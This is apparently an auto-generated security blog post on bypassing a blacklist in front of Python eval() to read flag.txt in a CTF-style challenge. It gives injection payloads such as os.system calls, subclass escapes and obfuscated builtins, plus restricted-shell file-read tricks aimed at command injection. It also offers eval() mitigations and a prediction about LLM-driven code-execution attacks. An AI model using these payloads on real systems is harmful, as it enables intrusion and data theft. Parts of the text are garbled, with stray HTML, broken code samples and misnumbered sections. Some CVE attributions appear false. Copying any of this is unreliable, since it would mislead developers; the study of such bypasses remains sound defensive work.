Bypassing Blacklist & eval(): How One Python Payload Can Read flagtxt (And Why You Should Never Use eval()) + Video

Listen to this Post

Featured Image

Introduction:

The classic security blunder of combining a blacklist filter with Python’s eval() function creates a dangerous code injection vulnerability. Attackers can trivially bypass blacklists—even those blocking directory traversal (../) or command keywords—by using string concatenation, alternate encodings, or built‑in functions. This article dissects the “read flag.txt” challenge, demonstrates live bypass techniques, and provides hardened coding practices to eliminate eval() from production systems.

Learning Objectives:

  • Understand how eval() enables arbitrary code execution and why blacklists are insufficient defenses.
  • Learn multiple blacklist bypass techniques including string concatenation, f‑strings, and built‑in function abuse.
  • Implement secure alternatives like ast.literal_eval() and allowlist‑based validation in Python.

You Should Know:

  1. The Vulnerability: Blacklist + eval() = Code Injection

The vulnerable code typically looks like this:

import re
user_input = input("Enter payload: ")
if re.search(r"../", user_input):  blacklist only blocks "../"
print("Bad characters!")
else:
result = eval(user_input)  DANGER: executes arbitrary Python
print("Result:", result)

The developer mistakenly believes blocking `../` prevents file access, but `eval()` can execute any Python expression. An attacker supplies `open(‘flag.txt’).read()` – no slashes needed. Even if the blacklist is expanded to block open, file, read, etc., simple obfuscation defeats it.

Step‑by‑step exploitation:

  • Target: read a file named `flag.txt` in the current directory.
  • Basic payload: `open(‘flag.txt’).read()`
    – If `open` is blacklisted, use `__builtins__.open` or `().__class__.__bases__

    .__subclasses__()` to find file‑reading classes.</li>
    <li>Execute system commands: `__import__('os').system('cat flag.txt')`
    
    Linux command to read flag.txt (if system shell is accessible):
    [bash]
    cat flag.txt
    

Windows equivalent:

type flag.txt

PowerShell:

Get-Content flag.txt

2. Bypassing Blacklists with String Obfuscation

Blacklists are reactive and easily circumvented. Common bypass techniques include:

  • String concatenation: `’c’+’a’+’t’+’ ‘+’fl’+’a’+’g.txt’` – the blacklist checks the raw input, not the evaluated result.
  • Using f‑strings: `f'{chr(99)}at flag.txt’` – `chr(99)` produces 'c'.
  • Base64 encoding:
    <strong>import</strong>('base64').b64decode('Y2F0IGZsYWcudHh0').decode()
    

Then feed that to `eval()` or `os.system()`.

  • Quoting inside quotes: `”c’at’ flag.txt”` – the single quotes break keyword detection.

Example payload for a blacklist blocking “cat”, “open”, “read”:

getattr(<strong>builtins</strong>, 'op'+'en')('flag.txt').read()

This dynamically constructs the string `’open’` using concatenation, bypassing simple substring checks.

Mitigation: Never rely on blacklists. Use an allowlist of permitted inputs or, better, avoid `eval()` entirely.

3. Code Injection Mitigation: Secure Alternatives to eval()

The only reliable fix is to refactor the code so that `eval()` is unnecessary. Here are proven strategies:

Use `ast.literal_eval()` for literals:

import ast
user_input = input("Enter a number or string: ")
try:
result = ast.literal_eval(user_input)  Only parses literals (numbers, strings, tuples, etc.)
print(result)
except (ValueError, SyntaxError):
print("Invalid input")

`literal_eval()` cannot execute functions, methods, or expressions, making it safe for configuration parsing.

Implement an allowlist:

ALLOWED_FUNCTIONS = {
'add': lambda x, y: x + y,
'mul': lambda x, y: x  y
}
user_input = input("Enter function name and args: ").split()
func_name = user_input[bash]
if func_name in ALLOWED_FUNCTIONS:
args = list(map(int, user_input[1:]))
print(ALLOWED_FUNCTIONS<a href="args">func_name</a>)
else:
print("Function not allowed")

Use a proper expression parser (e.g., `simpleeval` library):

from simpleeval import simple_eval
result = simple_eval(user_input)  Safer than eval, but still limited

4. Hands‑on Lab: Simulating the Vulnerable Environment

Create a lab to practice bypassing blacklist + eval().

Setup (Linux):

echo "FLAG{you_found_me}" > flag.txt
cat > vulnerable.py << 'EOF'
import re
print("Enter payload to read flag.txt (blacklist blocks '../'):")
user_input = input("> ")
if re.search(r"../", user_input):
print("Blocked: directory traversal detected.")
else:
try:
result = eval(user_input)
print("Output:", result)
except Exception as e:
print("Error:", e)
EOF
python3 vulnerable.py

Test payloads:

– `open(‘flag.txt’).read()`
– `__import__(‘os’).system(‘cat flag.txt’)` (if you want shell output)
– `getattr(__builtins__, ‘op’+’en’)(‘flag.txt’).read()`
– `”.join([chr(102) for _ in range(1)])` – just to prove code execution

Windows lab (PowerShell with Python):

Same code works. To read flag.txt natively:

type flag.txt

Or via Python one‑liner:

python -c "print(open('flag.txt').read())"
  1. Real‑World Impact: RCE via eval() in Web Applications

    `eval()` vulnerabilities have led to remote code execution (RCE) in production systems:

  • CVE‑2022‑39227 (python‑jwt): `eval()` usage allowed attackers to bypass signature validation.
  • CVE‑2021‑32839 (Flask‑Admin): Improper use of `eval()` in form handling led to RCE.
  • Many CTF challenges and bug bounty reports show that `eval()` in JSON parsers, calculators, or template engines is a goldmine for attackers.

Attack flow:

  1. Attacker finds a parameter passed to `eval()` (e.g., ?expr=2+2).
  2. Blacklist filters open, system, `import` – but bypasses exist.
  3. Attacker executes `().__class__.__bases__
    .__subclasses__()` to find `os._wrap_close` and call <code>system()</code>.</li>
    </ol>
    
    <h2 style="color: yellow;">4. Full server compromise, data exfiltration, or ransomware.</h2>
    
    Cloud hardening tip: In serverless (AWS Lambda, Azure Functions) or containerised environments, never use `eval()` on user input. Apply strict IAM roles and network policies to limit blast radius, but the root fix is code‑level.
    
    <ol>
    <li>Linux/Windows Commands for File Reading (Bypassing Restricted Shells)</li>
    </ol>
    
    Even if `eval()` is not present, penetration testers often need to read files under restricted conditions. Here are commands that bypass common character blacklists.
    
    <h2 style="color: yellow;">Linux (Bypassing `/`, space, or letter filters):</h2>
    
    [bash]
     Using wildcards
    cat fl  if only one file starts with "fl"
     Using IFS (Internal Field Separator) to replace spaces
    cat${IFS}flag.txt
     Using hex encoding
    xxd -r -p <<< 666c61672e747874  prints "flag.txt" then use with cat
     Using command substitution
    cat `ls | grep flag`
    

    Windows CMD (bypassing space, period):

    type flag.txt
    type flag???txt
    more < flag.txt
    

    PowerShell (bypassing `Get-Content` blacklist):

    gc .\flag.txt
    cat .\flag.txt
    (Get-Item flag.txt).OpenText().ReadToEnd()
    

    These techniques are useful when exploiting command injection vulnerabilities, not just eval().

    1. Secure Coding for AI/ML Applications Using Dynamic Code

    AI systems often dynamically generate or execute code – for example, LLM‑based agents writing and running Python snippets. This introduces eval()‑like risks.

    Best practices:

    • Use sandboxed execution environments (Docker, gVisor, WebAssembly) with no network access.
    • Restrict Python builtins via `safe_globals = {‘__builtins__’: {}}` and then eval(code, safe_globals, safe_locals).
    • Employ static analysis to scan for eval(), exec(), `compile()` before deployment.
    • For AI‑generated code, use a human‑in‑the‑loop approval step or run only in isolated test harnesses.

    Example of restricted `eval()` (still risky but better):

    safe_dict = {'<strong>builtins</strong>': {'len': len, 'range': range, 'print': print}}
    result = eval(user_code, safe_dict, {})
    

    Even then, an attacker might escape via ().__class__.__bases__. The only safe amount of `eval()` is zero.

    What Undercode Say:

    • Key Takeaway 1: `eval()` is fundamentally dangerous with untrusted input – blacklists provide a false sense of security and are bypassable in seconds.
    • Key Takeaway 2: Always replace `eval()` with `ast.literal_eval()` or allowlist‑based parsers. If dynamic code execution is unavoidable, use strict sandboxing and never on user‑supplied strings.
    • Analysis: The “read flag.txt” challenge is a microcosm of a systemic issue: developers prioritize convenience over security. The comment by Mihir Shishulkar correctly identifies that blacklist + `eval()` is a code injection vulnerability, not a filter bypass challenge. The payload `c’a’t fl’a’g.txt` works because the blacklist checks raw input for the literal string 'cat', but the concatenated form `’c’+’a’+’t’` evaluates to `’cat’` after the check. This highlights that input validation must happen on the parsed or canonicalized input, not the raw string. For defenders, the lesson is clear: avoid `eval()` entirely, and when processing untrusted data, treat every input as malicious.

    Prediction:

    As AI‑generated code becomes more prevalent, the use of `eval()` and `exec()` inside LLM pipelines will increase, leading to a new class of prompt‑injection‑to‑code‑execution attacks. Attackers will craft inputs that manipulate LLMs into generating eval()‑based payloads, bypassing both blacklist filters and semantic safety checks. The industry will respond with AI‑aware sandboxes, formal verification of generated code, and a push toward declarative configuration languages (JSON, YAML, TOML) over executable code. Until then, every `eval()` is a ticking time bomb – and “just blacklisting a few keywords” is like locking your front door but leaving the window wide open.

    ▶️ Related Video (72% Match):

    🎯Let’s Practice For Free:

    IT/Security Reporter URL:

    Reported By: Can You – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow UndercodeTesting & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky